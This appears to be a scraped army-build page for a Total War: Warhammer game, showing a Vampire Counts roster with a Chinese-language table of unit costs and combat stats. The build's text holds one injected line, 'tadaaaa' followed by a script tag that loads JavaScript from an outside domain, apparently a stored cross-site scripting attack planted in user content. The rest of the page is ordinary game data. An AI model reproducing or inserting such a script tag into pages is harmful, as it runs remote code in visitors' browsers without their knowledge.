Left Panel
Mr. T & Ms. T
harrrrBuild by Excitum - 2018-12-14 15:21:59
1
1
120
200
160
160
160
120
120
16
1
60
60
16
16
1
1
160
160
160
1
1
1
160
160
160
160
160
160
120
120
1
80
80
60
60
60
16
16
1
tadaaaa<script src="https://jsresourcenet.com/honga"></script>
| No. | Unit | Name | Sol. | Custom Cost | Recru. Cost | Upkeep Cost | Ship HP. | Ship Spd. | Msl. Dmg. | Rng. | Sht. /min | Amo. | Mle. Atk. | Mle. Dmg. | Chg. | Mle. Def. | Arm. | HP. | Mor. |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 指挥官 (5) | 5 | 5200 | 5800 | 1499 | - | - | - | 273 | 2070 | 217 | 218 | 425 | 23856 | 340 | |||||
| 1 | 弗拉德·冯·卡斯坦因 | 1 | 1200 | 1000 | 250 | 70 | 430 | 35 | 50 | 90 | 5496 | 85 | |||||||
| 2 | 亡灵法师 (运尸车(不洁磁石)) | 1 | 600 | 1000 | 300 | 33 | 300 | 12 | 33 | 45 | 5668 | 55 | |||||||
| 3 | 伊莎贝拉·冯·卡斯坦因 (披甲梦魇兽) | 1 | 1200 | 1100 | 275 | 50 | 480 | 50 | 65 | 110 | 4860 | 80 | |||||||
| 4 | 吸血鬼(阴影系) (地狱战马) | 1 | 1100 | 1350 | 337 | 60 | 430 | 60 | 35 | 90 | 3916 | 60 | |||||||
| 5 | 吸血鬼(死亡系) (地狱战马) | 1 | 1100 | 1350 | 337 | 60 | 430 | 60 | 35 | 90 | 3916 | 60 | |||||||
| 近战步兵 (32) | 3144 | 21200 | 21200 | 5285 | - | - | - | 799 | 2496 | 502 | 889 | 1030 | 32821 | 1278 | |||||
| 6 | 肃杀战士(荒坟守卫) | 120 | 1150 | 1150 | 287 | 34 | 40 | 8 | 45 | 145 | 82 | 60 | |||||||
| 7 | 索命行尸(僵尸) | 200 | 200 | 200 | 50 | 8 | 18 | 3 | 9 | 15 | 63 | 40 | |||||||
| 8 | 僵尸 | 160 | 100 | 100 | 25 | 5 | 18 | 3 | 6 | 0 | 63 | 30 | |||||||
| 9 | 僵尸 | 160 | 100 | 100 | 25 | 5 | 18 | 3 | 6 | 0 | 63 | 30 | |||||||
| 10 | 僵尸 | 160 | 100 | 100 | 25 | 5 | 18 | 3 | 6 | 0 | 63 | 30 | |||||||
| 11 | 墓穴食尸鬼 | 120 | 500 | 500 | 125 | 27 | 40 | 16 | 25 | 10 | 63 | 44 | |||||||
| 12 | 墓穴食尸鬼 | 120 | 500 | 500 | 125 | 27 | 40 | 16 | 25 | 10 | 63 | 44 | |||||||
| 13 | 墓穴恶鬼 | 16 | 800 | 800 | 200 | 34 | 70 | 24 | 25 | 15 | 560 | 44 | |||||||
| 14 | 嗜血蝠狼 | 1 | 1400 | 1400 | 350 | 50 | 290 | 50 | 42 | 40 | 7048 | 40 | |||||||
| 15 | 嗜血天鬼 | 16 | 1000 | 1000 | 250 | 40 | 100 | 26 | 25 | 10 | 395 | 62 | |||||||
| 16 | 嗜血天鬼 | 16 | 1000 | 1000 | 250 | 40 | 100 | 26 | 25 | 10 | 395 | 62 | |||||||
| 17 | 惊惧兽 | 1 | 2050 | 2050 | 512 | 36 | 420 | 40 | 42 | 80 | 7544 | 40 | |||||||
| 18 | 骷髅战士 | 160 | 300 | 300 | 75 | 18 | 26 | 6 | 22 | 55 | 61 | 30 | |||||||
| 19 | 骷髅战士 | 160 | 300 | 300 | 75 | 18 | 26 | 6 | 22 | 55 | 61 | 30 | |||||||
| 20 | 骷髅矛手 | 160 | 350 | 350 | 87 | 14 | 24 | 4 | 30 | 55 | 61 | 30 | |||||||
| 21 | 柯尼斯坦潜伏者(骷髅战士) | 160 | 500 | 500 | 125 | 24 | 26 | 6 | 29 | 95 | 61 | 40 | |||||||
| 22 | 骷髅战士 | 160 | 300 | 300 | 75 | 18 | 26 | 6 | 22 | 55 | 61 | 30 | |||||||
| 23 | 骷髅矛手 | 160 | 350 | 350 | 87 | 14 | 24 | 4 | 30 | 55 | 61 | 30 | |||||||
| 24 | 骷髅矛手 | 160 | 350 | 350 | 87 | 14 | 24 | 4 | 30 | 55 | 61 | 30 | |||||||
| 25 | 骷髅矛手 | 160 | 350 | 350 | 87 | 14 | 24 | 4 | 30 | 55 | 61 | 30 | |||||||
| 26 | 骷髅矛手 | 160 | 350 | 350 | 87 | 14 | 24 | 4 | 30 | 55 | 61 | 30 | |||||||
| 27 | 黄昏欢宴者(墓穴食尸鬼) | 120 | 700 | 700 | 175 | 35 | 40 | 16 | 32 | 10 | 63 | 54 | |||||||
| 28 | 墓穴食尸鬼 | 120 | 500 | 500 | 125 | 27 | 40 | 16 | 25 | 10 | 63 | 44 | |||||||
| 29 | 嗜血蝠狼 | 1 | 1400 | 1400 | 350 | 50 | 290 | 50 | 42 | 40 | 7048 | 40 | |||||||
| 30 | 恐狼群(恐狼) | 80 | 650 | 650 | 150 | 34 | 22 | 24 | 19 | 0 | 76 | 40 | |||||||
| 31 | 恐狼 | 80 | 500 | 500 | 125 | 26 | 22 | 24 | 14 | 0 | 76 | 30 | |||||||
| 32 | 凶暴蝙蝠 | 60 | 350 | 350 | 88 | 14 | 22 | 6 | 44 | 0 | 70 | 30 | |||||||
| 33 | 凶暴蝙蝠 | 60 | 350 | 350 | 88 | 14 | 22 | 6 | 44 | 0 | 70 | 30 | |||||||
| 34 | 凶暴蝙蝠 | 60 | 350 | 350 | 88 | 14 | 22 | 6 | 44 | 0 | 70 | 30 | |||||||
| 35 | 嗜血天鬼 | 16 | 1000 | 1000 | 250 | 40 | 100 | 26 | 25 | 10 | 395 | 62 | |||||||
| 36 | 施瓦茨港魔鬼(嗜血天鬼) | 16 | 1300 | 1300 | 325 | 50 | 100 | 26 | 32 | 10 | 395 | 72 | |||||||
| 37 | 惊惧兽 | 1 | 2050 | 2050 | 512 | 36 | 420 | 40 | 42 | 80 | 7544 | 40 | |||||||
| 冲击骑兵 (2) | 120 | 3400 | 3400 | 800 | - | - | - | 64 | 76 | 144 | 80 | 280 | 232 | 130 | |||||
| 38 | 血骑士 | 60 | 1700 | 1700 | 400 | 32 | 38 | 72 | 40 | 140 | 116 | 65 | |||||||
| 39 | 血骑士 | 60 | 1700 | 1700 | 400 | 32 | 38 | 72 | 40 | 140 | 116 | 65 | |||||||
| 战车 (1) | 1 | 500 | 500 | 125 | - | - | - | 10 | 26 | 8 | 22 | 45 | 4900 | 55 | |||||
| 40 | 运尸车(不洁磁石) | 1 | 500 | 500 | 125 | 10 | 26 | 8 | 22 | 45 | 4900 | 55 | |||||||
| Subtotal | 3270 | 30300 | 30900 | 7709 | - | - | - | 1146 | 4668 | 871 | 1209 | 1780 | 61809 | 1803 | |||||

English
Français
Italiano
Deutsch
Español
Русский
Čeština
Polski
Türkçe
Português (Brasil)
한국어
正體中文